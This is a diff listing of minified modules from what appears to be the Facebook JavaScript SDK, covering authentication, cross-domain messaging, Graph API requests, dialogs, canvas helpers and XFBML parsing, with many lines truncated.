+__d("sdk.SignedRequest",["Base64"],function(a,b,c,d,e,f){var g=b('Base64');function h(j){if(!j)return null;var k=j.split('.',2)[1].replace(/\-/g,'+').replace(/\_/g,'/');return g.decodeObject(k);}var i={parse:h};e.exports=i;});
+__d("UrlMap",["UrlMapConfig"],function(a,b,c,d,e,f){var g=b('UrlMapConfig'),h={resolve:function(i,j){var k=typeof j=='undefined'?location.protocol.replace(':',''):j?'https':'http';if(i in g)return k+'://'+g[i];if(typeof j=='undefined'&&i+'_'+k in g)return k+'://'+g[i+'_'+k];if(j!==true&&i+'_http' in g)return 'http://'+g[i+'_http'];if(j!==false&&i+'_https' in g)return 'https://'+g[i+'_https'];}};e.exports=h;});
+__d("URL",["Assert","copyProperties","QueryString","Log"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('copyProperties'),i=b('QueryString'),j=b('Log'),k=new RegExp('('+'(((\\w+):)?//)'+'(.*?@)?'+'([^~/?#:]+)'+'(:(\\d+))?'+')?'+'([^\\?$#]+)?'+'(\\?([^$#]+))?'+'(#([^$]+))?'),l=/[\0\\]/,m=/[^\w\-\.,;\/?:@=&%#$~+!*'\[\]()]+/g,n=/^[a-z0-9.][a-z0-9\-\.]+[a-z0-9.]$/,o=/\.facebook\.com$/;function p(q){g.isString(q,'The passed argument was of invalid type.');if(l.test(q))throw new URIError('The pa [...]
+__d("sdk.domReady",[],function(a,b,c,d,e,f){var g,h="readyState" in document?/loaded|complete/.test(document.readyState):!!document.body;function i(){if(!g)return;var l;while(l=g.shift())l();g=null;}function j(l){if(g){g.push(l);return;}else l();}if(!h){g=[];if(document.addEventListener){document.addEventListener('DOMContentLoaded',i,false);window.addEventListener('load',i,false);}else if(document.attachEvent){document.attachEvent('onreadystatechange',i);window.attachEvent('onload',i);}i [...]
+__d("sdk.Content",["sdk.domReady","Log","UserAgent"],function(a,b,c,d,e,f){var g=b('sdk.domReady'),h=b('Log'),i=b('UserAgent'),j,k,l={append:function(m,n){if(!n)if(!j){j=n=document.getElementById('fb-root');if(!n){h.warn('The "fb-root" div has not been created, auto-creating');j=n=document.createElement('div');n.id='fb-root';if(i.ie()||!document.body){g(function(){document.body.appendChild(n);});}else document.body.appendChild(n);}n.className+=' fb_reset';}else n=j;if(typeof m=='string') [...]
+__d("sdk.Event",[],function(a,b,c,d,e,f){var g={subscribers:function(){if(!this._subscribersMap)this._subscribersMap={};return this._subscribersMap;},subscribe:function(h,i){var j=this.subscribers();if(!j[h]){j[h]=[i];}else j[h].push(i);},unsubscribe:function(h,i){var j=this.subscribers()[h];if(j)ES5(j,'forEach',true,function(k,l){if(k==i)j[l]=null;});},monitor:function(h,i){if(!i()){var j=this,k=function(){if(i.apply(i,arguments))j.unsubscribe(h,k);};this.subscribe(h,k);}},clear:functio [...]
+__d("Queue",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties'),h={};function i(j){this._opts=g({interval:0,processor:null},j);this._queue=[];this._stopped=true;}g(i.prototype,{_dispatch:function(j){if(this._stopped||this._queue.length===0)return;if(!this._opts.processor){this._stopped=true;throw new Error('No processor available');}if(this._opts.interval){this._opts.processor.call(this,this._queue.shift());this._timeout=setTimeout(ES5(this._dispatch,'bind',true,this),this [...]
+__d("resolveURI",[],function(a,b,c,d,e,f){function g(h){if(!h)return window.location.href;h=h.replace(/&/g,'&').replace(/"/g,'"');var i=document.createElement('div');i.innerHTML='<a href="'+h+'"></a>';return i.firstChild.href;}e.exports=g;});
+__d("resolveWindow",[],function(a,b,c,d,e,f){function g(h){var i=window,j=h.split('.');try{for(var l=0;l<j.length;l++){var m=j[l],n=/^frames\[['"]?([a-zA-Z0-9\-_]+)['"]?\]$/.exec(m);if(n){i=i.frames[n[1]];}else if(m==='opener'||m==='parent'||m==='top'){i=i[m];}else return null;}}catch(k){return null;}return i;}e.exports=g;});
+__d("JSONRPC",["copyProperties","Log"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('Log');function i(j){this._counter=0;this._callbacks={};this.remote={};this.local={};this._write=j;}g(i.prototype,{stub:function(j){this.remote[j]=ES5(function(){var k=Array.prototype.slice.call(arguments),l={jsonrpc:'2.0',method:j};if(typeof k[k.length-1]=='function'){l.id=++this._counter;this._callbacks[l.id]=k.pop();}l.params=k;this._write(ES5('JSON','stringify',false,l),{method:j});},'bind',tru [...]
+__d("sdk.RPC",["Assert","JSONRPC","Queue"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('JSONRPC'),i=b('Queue'),j=new i(),k=new h(function(m){j.enqueue(m);}),l={local:k.local,remote:k.remote,stub:ES5(k.stub,'bind',true,k),setInQueue:function(m){g.isInstanceOf(i,m);m.start(function(n){k.read(n);});},getOutQueue:function(){return j;}};e.exports=l;});
+__d("emptyFunction",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(j){return function(){return j;};}function i(){}g(i,{thatReturns:h,thatReturnsFalse:h(false),thatReturnsTrue:h(true),thatReturnsNull:h(null),thatReturnsThis:function(){return this;},thatReturnsArgument:function(j){return j;}});e.exports=i;});
+__d("Flash",["DOMWrapper","QueryString","UserAgent","copyProperties","guid"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('QueryString'),i=b('UserAgent'),j=b('copyProperties'),k=b('guid'),l={},m,n=g.getWindow().document;function o(t){var u=n.getElementById(t);if(u)u.parentNode.removeChild(u);delete l[t];}function p(){for(var t in l)if(l.hasOwnProperty(t))o(t);}function q(t){return t.replace(/\d+/g,function(u){return '000'.substring(u.length)+u;});}function r(t){if(!m){if(i.ie()>=9)win [...]
+__d("XDM",["DOMEventListener","DOMWrapper","emptyFunction","Flash","guid","Log","UserAgent","wrapFunction"],function(a,b,c,d,e,f){var g=b('DOMEventListener'),h=b('DOMWrapper'),i=b('emptyFunction'),j=b('Flash'),k=b('guid'),l=b('Log'),m=b('UserAgent'),n=b('wrapFunction'),o={},p={transports:[]},q=h.getWindow();function r(t){var u={},v=t.length,w=p.transports;while(v--)u[t[v]]=1;v=w.length;while(v--){var x=w[v],y=o[x];if(!u[x]&&y.isAvailable())return x;}}var s={register:function(t,u){l.debug [...]
+__d("sdk.XD",["sdk.Content","sdk.createIframe","sdk.Event","guid","Log","QueryString","Queue","resolveURI","resolveWindow","sdk.RPC","sdk.Runtime","UrlMap","URL","wrapFunction","XDM","XDConfig"],function(a,b,c,d,e,f){var g=b('sdk.Content'),h=b('sdk.createIframe'),i=b('sdk.Event'),j=b('guid'),k=b('Log'),l=b('QueryString'),m=b('Queue'),n=b('resolveURI'),o=b('resolveWindow'),p=b('sdk.RPC'),q=b('sdk.Runtime'),r=b('UrlMap'),s=b('URL'),t=b('wrapFunction'),u=c('XDConfig'),v=b('XDM'),w=new m(),x [...]
+__d("sdk.Auth",["sdk.Cookie","copyProperties","sdk.createIframe","DOMWrapper","sdk.getContextType","guid","Log","ObservableMixin","QueryString","sdk.Runtime","sdk.SignedRequest","UrlMap","URL","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Cookie'),h=b('copyProperties'),i=b('sdk.createIframe'),j=b('DOMWrapper'),k=b('sdk.getContextType'),l=b('guid'),m=b('Log'),n=b('ObservableMixin'),o=b('QueryString'),p=b('sdk.Runtime'),q=b('sdk.SignedRequest'),r=b('UrlMap'),s=b('URL'),t=b('sdk.XD'),u,v,w=n [...]
+__d("dotAccess",[],function(a,b,c,d,e,f){function g(h,i,j){var k=i.split('.');do{var l=k.shift();h=h[l]||j&&(h[l]={});}while(k.length&&h);return h;}e.exports=g;});
+__d("hasArrayNature",[],function(a,b,c,d,e,f){function g(h){return (!!h&&(typeof h=='object'||typeof h=='function')&&('length' in h)&&!('setInterval' in h)&&(Object.prototype.toString.call(h)==="[object Array]"||('callee' in h)||('item' in h)));}e.exports=g;});
+__d("createArrayFrom",["hasArrayNature"],function(a,b,c,d,e,f){var g=b('hasArrayNature');function h(i){if(!g(i))return [i];if(i.item){var j=i.length,k=new Array(j);while(j--)k[j]=i[j];return k;}return Array.prototype.slice.call(i);}e.exports=h;});
+__d("sdk.DOM",["Assert","createArrayFrom","sdk.domReady","UserAgent"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('createArrayFrom'),i=b('sdk.domReady'),j=b('UserAgent'),k={};function l(z,aa){var ba=(z.getAttribute(aa)||z.getAttribute(aa.replace(/_/g,'-'))||z.getAttribute(aa.replace(/-/g,'_'))||z.getAttribute(aa.replace(/-/g,''))||z.getAttribute(aa.replace(/_/g,''))||z.getAttribute('data-'+aa)||z.getAttribute('data-'+aa.replace(/_/g,'-'))||z.getAttribute('data-'+aa.replace(/-/g,'_'))||z. [...]
+__d("sdk.Scribe",["UrlMap","QueryString"],function(a,b,c,d,e,f){var g=b('UrlMap'),h=b('QueryString');function i(k,l){(new Image()).src=h.appendToUrl(g.resolve('www',true)+'/common/scribe_endpoint.php',{c:k,m:ES5('JSON','stringify',false,l)});}var j={log:i};e.exports=j;});
+__d("sdk.ErrorHandling",["UserAgent","sdk.Scribe","sdk.Runtime","wrapFunction","ManagedError","SDKConfig"],function(a,b,c,d,e,f){var g=b('UserAgent'),h=b('sdk.Scribe'),i=c('SDKConfig'),j=b('sdk.Runtime'),k=b('wrapFunction'),l=b('ManagedError'),m=false,n='';function o(v){var w=v._originalError;delete v._originalError;h.log('jssdk_error',{appId:j.getClientID(),error:v.name||v.message,extra:v});throw w;}function p(v){var w={line:v.lineNumber||v.line,message:v.message,name:v.name,script:v.fi [...]
+__d("GlobalCallback",["wrapFunction","dotAccess"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h=b('dotAccess'),i,j,k=0,l={setPrefix:function(m){i=h(window,m,true);j=m;},create:function(m){if(!i)this.setPrefix('window.__globalCallbacks');var n='__gcb'+(++k);i[n]=g(m,'entry','GlobalCallback');return j+'.'+n;},remove:function(m){var n=m.substring(j.length+1);delete i[n];}};e.exports=l;});
+__d("sdk.Impressions",["guid","QueryString","sdk.Runtime","UrlMap"],function(a,b,c,d,e,f){var g=b('guid'),h=b('QueryString'),i=b('sdk.Runtime'),j=b('UrlMap');function k(m){var n=i.getClientID();if(!m.api_key&&n)m.api_key=n;var o=new Image();o.src=h.appendToUrl(j.resolve('www',true)+'/impression.php/'+g()+'/',m);}var l={log:function(m,n){if(!n.source)n.source='jssdk';k({lid:m,payload:ES5('JSON','stringify',false,n)});},impression:k};e.exports=l;});
+__d("sdk.Insights",["sdk.Impressions"],function(a,b,c,d,e,f){var g=b('sdk.Impressions'),h={TYPE:{NOTICE:'notice',WARNING:'warn',ERROR:'error'},CATEGORY:{DEPRECATED:'deprecated',APIERROR:'apierror'},log:function(i,j,k){var l={source:'jssdk',type:i,category:j,payload:k};g.log(113,l);},impression:g.impression};e.exports=h;});
+__d("FB",["sdk.Auth","copyProperties","dotAccess","sdk.domReady","sdk.DOM","sdk.ErrorHandling","sdk.Content","DOMWrapper","GlobalCallback","sdk.Insights","Log","sdk.Runtime","sdk.Scribe","CssConfig","SDKConfig"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('copyProperties'),i=c('CssConfig'),j=b('dotAccess'),k=b('sdk.domReady'),l=b('sdk.DOM'),m=b('sdk.ErrorHandling'),n=b('sdk.Content'),o=b('DOMWrapper'),p=b('GlobalCallback'),q=b('sdk.Insights'),r=b('Log'),s=b('sdk.Runtime'),t=b('sdk.Scri [...]
+__d("flattenObject",[],function(a,b,c,d,e,f){function g(h){var i={};for(var j in h)if(h.hasOwnProperty(j)){var k=h[j];if(null===k||undefined===k){continue;}else if(typeof k=='string'){i[j]=k;}else i[j]=ES5('JSON','stringify',false,k);}return i;}e.exports=g;});
+__d("CORSRequest",["wrapFunction","QueryString"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h=b('QueryString');function i(l,m){if(!self.XMLHttpRequest)return null;var n=new XMLHttpRequest(),o=function(){};if('withCredentials' in n){n.open(l,m,true);n.setRequestHeader('Content-type','application/x-www-form-urlencoded');}else if(self.XDomainRequest){n=new XDomainRequest();try{n.open(l,m);n.onprogress=n.ontimeout=o;}catch(p){return null;}}else return null;var q={send:function(t){n.send(t [...]
+__d("FlashRequest",["DOMWrapper","Flash","GlobalCallback","QueryString","Queue"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('Flash'),i=b('GlobalCallback'),j=b('QueryString'),k=b('Queue'),l,m={},n,o;function p(){if(!n)throw new Error('swfUrl has not been set');var s=i.create(function(){l.start(function(u){var v=o.execute(u.method,u.url,u.body);if(!v)throw new Error('Could create request');m[v]=u.callback;});}),t=i.create(function(u,v,w){var x;try{x=ES5('JSON','parse',false,decodeURIC [...]
+__d("JSONPRequest",["DOMWrapper","GlobalCallback","QueryString"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('GlobalCallback'),i=b('QueryString');function j(l,m,n,o){var p=document.createElement('script'),q=function(s){q=function(){};h.remove(n.callback);o(s);p.parentNode.removeChild(p);};n.callback=h.create(q);if(!n.method)n.method=m;l=i.appendToUrl(l,n);if(l.length>2000){h.remove(n.callback);return false;}p.onerror=function(){q({error:{type:'http',message:'unknown error'}});};var r [...]
+__d("ArgumentError",["ManagedError"],function(a,b,c,d,e,f){var g=b('ManagedError');function h(i,j){g.prototype.constructor.apply(this,arguments);}h.prototype=new g();h.prototype.constructor=h;e.exports=h;});
+__d("ApiClient",["copyProperties","flattenObject","sprintf","CORSRequest","FlashRequest","JSONPRequest","Log","UrlMap","URL","ArgumentError","Assert","ApiClientConfig"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('flattenObject'),i=b('sprintf'),j=b('CORSRequest'),k=b('FlashRequest'),l=b('JSONPRequest'),m=b('Log'),n=b('UrlMap'),o=b('URL'),p=b('ArgumentError'),q=b('Assert'),r=b('ApiClientConfig'),s,t,u,v,w={get:true,post:true,'delete':true,put:true},x={fql_query:true,fql_multiquery [...]
+__d("sdk.api",["ApiClient","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('ApiClient'),h=b('sdk.Runtime'),i;h.subscribe('ClientID.change',function(k){g.setClientID(k);});h.subscribe('AccessToken.change',function(k){i=k;g.setAccessToken(k);});g.setDefaultParams({sdk:'joey'});g.setInvalidAccessTokenHandler(function(){if(i===h.getAccessToken())h.setAccessToken(null);});function j(){if(typeof arguments[0]==='string'){g.graph.apply(g,arguments);}else g.rest.apply(g,arguments);}e.exports=j;});
+__d("legacy:fb.api",["FB","sdk.api"],function(a,b,c,d){var e=b('FB'),f=b('sdk.api');e.provide('',{api:f});},3);
+__d("sdk.Canvas.Environment",["sdk.RPC"],function(a,b,c,d,e,f){var g=b('sdk.RPC');function h(k){g.remote.getPageInfo(function(l){k(l.result);});}function i(k,l){g.remote.scrollTo({x:k||0,y:l||0});}g.stub('getPageInfo');g.stub('scrollTo');var j={getPageInfo:h,scrollTo:i};e.exports=j;});
+__d("sdk.Intl",["Log"],function(a,b,c,d,e,f){var g=b('Log'),h=('['+'.!?'+'\u3002'+'\uFF01'+'\uFF1F'+'\u0964'+'\u2026'+'\u0EAF'+'\u1801'+'\u0E2F'+'\uFF0E'+']');function i(l){if(typeof l!='string')return false;return !!l.match(new RegExp(h+'['+')"'+"'"+'\u00BB'+'\u0F3B'+'\u0F3D'+'\u2019'+'\u201D'+'\u203A'+'\u3009'+'\u300B'+'\u300D'+'\u300F'+'\u3011'+'\u3015'+'\u3017'+'\u3019'+'\u301B'+'\u301E'+'\u301F'+'\uFD3F'+'\uFF07'+'\uFF09'+'\uFF3D'+'\\s'+']*$'));}function j(l,m){if(m!==undefined)if(t [...]
+__d("sdk.Dialog",["sdk.Canvas.Environment","sdk.Content","sdk.DOM","DOMEventListener","sdk.Intl","ObservableMixin","sdk.Runtime","Type","UserAgent"],function(a,b,c,d,e,f){var g=b('sdk.Canvas.Environment'),h=b('sdk.Content'),i=b('sdk.DOM'),j=b('DOMEventListener'),k=b('sdk.Intl'),l=b('ObservableMixin'),m=b('sdk.Runtime'),n=b('Type'),o=b('UserAgent'),p=n.extend({constructor:function(r,s){this.parent();this.id=r;this.display=s;if(!q._dialogs){q._dialogs={};q._addOrientationHandler();}q._dial [...]
+__d("sdk.Frictionless",["sdk.Auth","sdk.api","sdk.Event","sdk.Dialog"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.api'),i=b('sdk.Event'),j=b('sdk.Dialog'),k={_allowedRecipients:{},_useFrictionless:false,_updateRecipients:function(){k._allowedRecipients={};h('/me/apprequestformerrecipients',function(l){if(!l||l.error)return;ES5(l.data,'forEach',true,function(m){k._allowedRecipients[m.recipient_id]=true;});});},init:function(){k._useFrictionless=true;g.getLoginStatus(function(l){if [...]
+__d("insertIframe",["guid","GlobalCallback"],function(a,b,c,d,e,f){var g=b('guid'),h=b('GlobalCallback');function i(j){j.id=j.id||g();j.name=j.name||g();var k=false,l=false,m=function(){if(k&&!l){l=true;j.onload&&j.onload(j.root.firstChild);}},n=h.create(m);if(document.attachEvent){var o=('<iframe'+' id="'+j.id+'"'+' name="'+j.name+'"'+(j.title?' title="'+j.title+'"':'')+(j.className?' class="'+j.className+'"':'')+' style="border:none;'+(j.width?'width:'+j.width+'px;':'')+(j.height?'heig [...]
+__d("sdk.Native",["copyProperties","Log","UserAgent"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('Log'),i=b('UserAgent'),j='fbNativeReady',k={onready:function(l){if(!i.nativeApp()){h.error('FB.Native.onready only works when the page is rendered '+'in a WebView of the native Facebook app. Test if this is the '+'case calling FB.UA.nativeApp()');return;}if(window.__fbNative&&!this.nativeReady)g(this,window.__fbNative);if(this.nativeReady){l();}else{var m=function(n){window.removeEv [...]
+__d("sdk.UIServer",["sdk.Auth","sdk.Content","copyProperties","sdk.Dialog","sdk.DOM","sdk.Event","flattenObject","sdk.Frictionless","sdk.getContextType","guid","insertIframe","Log","sdk.Native","QueryString","resolveURI","sdk.RPC","sdk.Runtime","UrlMap","UserAgent","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.Content'),i=b('copyProperties'),j=b('sdk.Dialog'),k=b('sdk.DOM'),l=b('sdk.Event'),m=b('flattenObject'),n=b('sdk.Frictionless'),o=b('sdk.getContextType'),p=b('guid'), [...]
+__d("sdk.ui",["Assert","copyProperties","Log","sdk.Runtime","sdk.UIServer","SDKConfig"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('copyProperties'),i=b('Log'),j=b('sdk.Runtime'),k=c('SDKConfig'),l=b('sdk.UIServer');function m(n,o){g.isObject(n);g.maybeFunction(o);n=h({},n);if(!n.method){i.error('"method" is a required parameter for FB.ui().');return null;}if((n.method=='permissions.request'||n.method=='permissions.oauth')&&(n.display=='iframe'||n.display=='dialog')){var p='scope' in n? [...]
+__d("legacy:fb.auth",["sdk.Auth","sdk.Cookie","copyProperties","sdk.Event","FB","Log","sdk.Runtime","sdk.SignedRequest","sdk.ui"],function(a,b,c,d){var e=b('sdk.Auth'),f=b('sdk.Cookie'),g=b('copyProperties'),h=b('sdk.Event'),i=b('FB'),j=b('Log'),k=b('sdk.Runtime'),l=b('sdk.SignedRequest'),m=b('sdk.ui');i.provide('',{getLoginStatus:function(){return e.getLoginStatus.apply(e,arguments);},getAuthResponse:function(){return e.getAuthResponse();},getAccessToken:function(){return k.getAccessTok [...]
+__d("sdk.Canvas.Flash",["sdk.api","sdk.RPC","Log","sdk.Runtime","createArrayFrom"],function(a,b,c,d,e,f){var g=b('sdk.api'),h=b('sdk.RPC'),i=b('Log'),j=b('sdk.Runtime'),k=b('createArrayFrom'),l='CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000',m=null;function n(r){r.style.visibility='hidden';}function o(r){r.style.visibility='';}function p(r){i.info('hideFlashCallback called with %s',r.state);var s=window.document.getElementsByTagName('object');ES5(k(s),'forEach',true,function(t){if(t.type.to [...]
+__d("sdk.Canvas.IframeHandling",["DOMWrapper","sdk.RPC"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('sdk.RPC'),i=null,j;function k(){var o=g.getWindow().document,p=o.body,q=o.documentElement,r=Math.max(p.offsetTop,0),s=Math.max(q.offsetTop,0),t=p.scrollHeight+r,u=p.offsetHeight+r,v=q.scrollHeight+s,w=q.offsetHeight+s;return Math.max(t,u,v,w);}function l(o){if(typeof o!='object')o={};var p=0,q=0;if(!o.height){o.height=k();p=16;q=4;}if(!o.frame)o.frame=window.name||'iframe_canvas';if( [...]
+__d("sdk.Canvas.Navigation",["sdk.RPC"],function(a,b,c,d,e,f){var g=b('sdk.RPC');function h(j){g.local.navigate=function(k){j({path:k});};g.remote.setNavigationEnabled(true);}g.stub('setNavigationEnabled');var i={setUrlHandler:h};e.exports=i;});
+__d("sdk.Canvas.Tti",["sdk.RPC","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.RPC'),h=b('sdk.Runtime');function i(n,o){var p={appId:h.getClientID(),time:ES5('Date','now',false),name:o},q=[p];if(n)q.push(function(r){n(r.result);});g.remote.logTtiMessage.apply(null,q);}function j(){i(null,'StartIframeAppTtiTimer');}function k(n){i(n,'StopIframeAppTtiTimer');}function l(n){i(n,'RecordIframeAppTti');}g.stub('logTtiMessage');var m={setDoneLoading:l,startTimer:j,stopTimer:k};e.exports=m;});
+__d("legacy:fb.canvas",["Assert","sdk.Canvas.Environment","sdk.Event","FB","sdk.Canvas.Flash","sdk.Canvas.IframeHandling","Log","sdk.Canvas.Navigation","sdk.Runtime","sdk.Canvas.Tti"],function(a,b,c,d){var e=b('Assert'),f=b('sdk.Canvas.Environment'),g=b('sdk.Event'),h=b('FB'),i=b('sdk.Canvas.Flash'),j=b('sdk.Canvas.IframeHandling'),k=b('Log'),l=b('sdk.Canvas.Navigation'),m=b('sdk.Runtime'),n=b('sdk.Canvas.Tti');h.provide('Canvas',{setSize:function(o){e.maybeObject(o,'Invalid argument');r [...]
+__d("sdk.Canvas.Prefetcher",["sdk.api","createArrayFrom","sdk.Runtime","CanvasPrefetcherConfig"],function(a,b,c,d,e,f){var g=b('sdk.api'),h=b('createArrayFrom'),i=c('CanvasPrefetcherConfig'),j=b('sdk.Runtime'),k={AUTOMATIC:0,MANUAL:1},l=i.sampleRate,m=i.blacklist,n=k.AUTOMATIC,o=[];function p(){var u={object:'data',link:'href',script:'src'};if(n==k.AUTOMATIC)ES5(ES5('Object','keys',false,u),'forEach',true,function(v){var w=u[v];ES5(h(document.getElementsByTagName(v)),'forEach',true,funct [...]
+__d("legacy:fb.canvas.prefetcher",["FB","sdk.Canvas.Prefetcher","sdk.Event","sdk.Runtime"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Canvas.Prefetcher'),g=b('sdk.Event'),h=b('sdk.Runtime');e.provide('Canvas.Prefetcher',f);g.subscribe('init:post',function(i){if(h.isEnvironment(h.ENVIRONMENTS.CANVAS))f._maybeSample();});},3);
+__d("legacy:fb.compat.ui",["copyProperties","FB","Log","sdk.ui","sdk.UIServer"],function(a,b,c,d){var e=b('copyProperties'),f=b('FB'),g=b('Log'),h=b('sdk.ui'),i=b('sdk.UIServer');f.provide('',{share:function(j){g.error('share() has been deprecated. Please use FB.ui() instead.');h({display:'popup',method:'stream.share',u:j});},publish:function(j,k){g.error('publish() has been deprecated. Please use FB.ui() instead.');j=j||{};h(e({display:'popup',method:'stream.publish',preview:1},j||{}),k [...]
+__d("mergeArrays",[],function(a,b,c,d,e,f){function g(h,i){for(var j=0;j<i.length;j++)if(ES5(h,'indexOf',true,i[j])<0)h.push(i[j]);return h;}e.exports=g;});
+__d("format",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);return h.replace(/\{(\d+)\}/g,function(j,k){var l=i[Number(k)];return (l===null||l===undefined)?'':l.toString();});}e.exports=g;});
+__d("safeEval",[],function(a,b,c,d,e,f){function g(h){if(h===null||typeof h==='undefined')return;if(typeof h!=='string')return h;return Function('return eval("'+h.replace(/"/g,'\\"')+'");')();}e.exports=g;});
+__d("sdk.Waitable",["sdk.Model"],function(a,b,c,d,e,f){var g=b('sdk.Model'),h=g.extend({constructor:function(){this.parent({Value:undefined});},error:function(i){this.inform("error",i);},wait:function(i,j){if(j)this.subscribe('error',j);this.monitor('Value.change',ES5(function(){var k=this.getValue();if(k!==undefined){this.value=k;i(k);return true;}},'bind',true,this));}});e.exports=h;});
+__d("sdk.Query",["format","safeEval","Type","sdk.Waitable"],function(a,b,c,d,e,f){var g=b('format'),h=b('safeEval'),i=b('Type'),j=b('sdk.Waitable');function k(p){return ES5(p.split(','),'map',true,function(q){return ES5(q,'trim',true);});}function l(p){var q=(/^\s*(\w+)\s*=\s*(.*)\s*$/i).exec(p),r,s,t='unknown';if(q){s=q[2];if(/^(["'])(?:\\?.)*?\1$/.test(s)){s=h(s);t='index';}else if(/^\d+\.?\d*$/.test(s))t='index';}if(t=='index'){r={type:'index',key:q[1],value:s};}else r={type:'unknown' [...]
+__d("sdk.Data",["sdk.api","sdk.ErrorHandling","mergeArrays","sdk.Query","safeEval","sdk.Waitable"],function(a,b,c,d,e,f){var g=b('sdk.api'),h=b('sdk.ErrorHandling'),i=b('mergeArrays'),j=b('sdk.Query'),k=b('safeEval'),l=b('sdk.Waitable'),m={query:function(n,o){var p=new j().parse(Array.prototype.slice.call(arguments));m.queue.push(p);m._waitToProcess();return p;},waitOn:function(n,o){var p=new l(),q=n.length;if(typeof(o)=='string'){var r=o;o=h.unguard(function(){return k(r);});}ES5(n,'for [...]
+__d("legacy:fb.data",["FB","sdk.Data"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Data');e.provide('Data',f);},3);
+__d("legacy:fb.event",["FB","sdk.Event"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Event');e.provide('Event',f);e.provide('EventProvider',f);},3);
+__d("legacy:fb.frictionless",["FB","sdk.Frictionless"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Frictionless');e.provide('Frictionless',f);},3);
+__d("sdk.init",["sdk.Cookie","copyProperties","createArrayFrom","sdk.ErrorHandling","sdk.Event","Log","QueryString","sdk.Runtime","wrapFunction"],function(a,b,c,d,e,f){var g=b('sdk.Cookie'),h=b('copyProperties'),i=b('createArrayFrom'),j=b('sdk.ErrorHandling'),k=b('sdk.Event'),l=b('Log'),m=b('QueryString'),n=b('sdk.Runtime'),o=b('wrapFunction');function p(q){if(n.getInitialized())l.warn('FB.init has already been called - this could indicate a problem');if(/number|string/.test(typeof q)){l [...]
+__d("legacy:fb.init",["FB","sdk.init"],function(a,b,c,d){var e=b('FB'),f=b('sdk.init');e.provide('',{init:f});},3);
+__d("legacy:fb.json",["FB","ManagedError"],function(a,b,c,d){var e=b('FB'),f=b('ManagedError');e.provide('JSON',{stringify:function(g){try{return ES5('JSON','stringify',false,g);}catch(h){throw new f(h.message,h);}},parse:function(g){try{return ES5('JSON','parse',false,g);}catch(h){throw new f(h.message,h);}}});},3);
+__d("legacy:fb.pay",["FB","copyProperties","sdk.Runtime","sdk.UIServer","sdk.XD"],function(a,b,c,d){b('FB');var e=b('copyProperties'),f=b('sdk.Runtime'),g=b('sdk.UIServer'),h=b('sdk.XD'),i={error_code:1383001,error_message:'An unknown error caused the dialog to be closed'},j=function(k){return function(l){k(l&&l.response?ES5('JSON','parse',false,l.response):i);};};e(g.Methods,{'pay.prompt':{transform:function(k){var l=h.handler(j(k.cb),'parent.frames['+(window.name||'iframe_canvas')+']') [...]
+__d("legacy:fb.ua",["FB","UserAgent"],function(a,b,c,d){var e=b('FB'),f=b('UserAgent');e.provide('UA',{nativeApp:f.nativeApp});},3);
+__d("legacy:fb.ui",["FB","sdk.ui"],function(a,b,c,d){var e=b('FB'),f=b('sdk.ui');e.provide('',{ui:f});},3);
+__d("Miny",[],function(a,b,c,d,e,f){var g='Miny1',h={encode:[],decode:{}},i='wxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_'.split('');function j(n){for(var o=h.encode.length;o<n;o++){var p=o.toString(32).split('');p[p.length-1]=i[parseInt(p[p.length-1],32)];p=p.join('');h.encode[o]=p;h.decode[p]=o;}return h;}function k(n){var o=n.match(/\w+|\W+/g),p={};for(var q=0;q<o.length;q++)p[o[q]]=(p[o[q]]||0)+1;var r=ES5('Object','keys',false,p);r.sort(function(u,v){return p[u]<p[v]?1:(p[v]<p[u]?-1:0);});var s [...]
+__d("sdk.feature",["SDKConfig"],function(a,b,c,d,e,f){var g=c('SDKConfig');function h(i,j){if(g.features&&i in g.features)return g.features[i];return typeof j!=='undefined'?j:null;}e.exports=h;});
+__d("runOnce",[],function(a,b,c,d,e,f){function g(h){var i,j;return function(){if(!i){i=true;j=h();}return j;};}e.exports=g;});
+__d("XFBML",["Assert","copyProperties","createArrayFrom","sdk.DOM","sdk.feature","sdk.Impressions","Log","ObservableMixin","runOnce","UserAgent","SDKConfig"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('copyProperties'),i=b('createArrayFrom'),j=b('sdk.DOM'),k=b('sdk.feature'),l=b('sdk.Impressions'),m=b('Log'),n=b('ObservableMixin'),o=b('runOnce'),p=c('SDKConfig'),q=b('UserAgent'),r={},s={},t=0,u=new n();function v(ca,da){return ca[da]+'';}function w(ca){return ca.scopeName?(ca.scopeName+ [...]
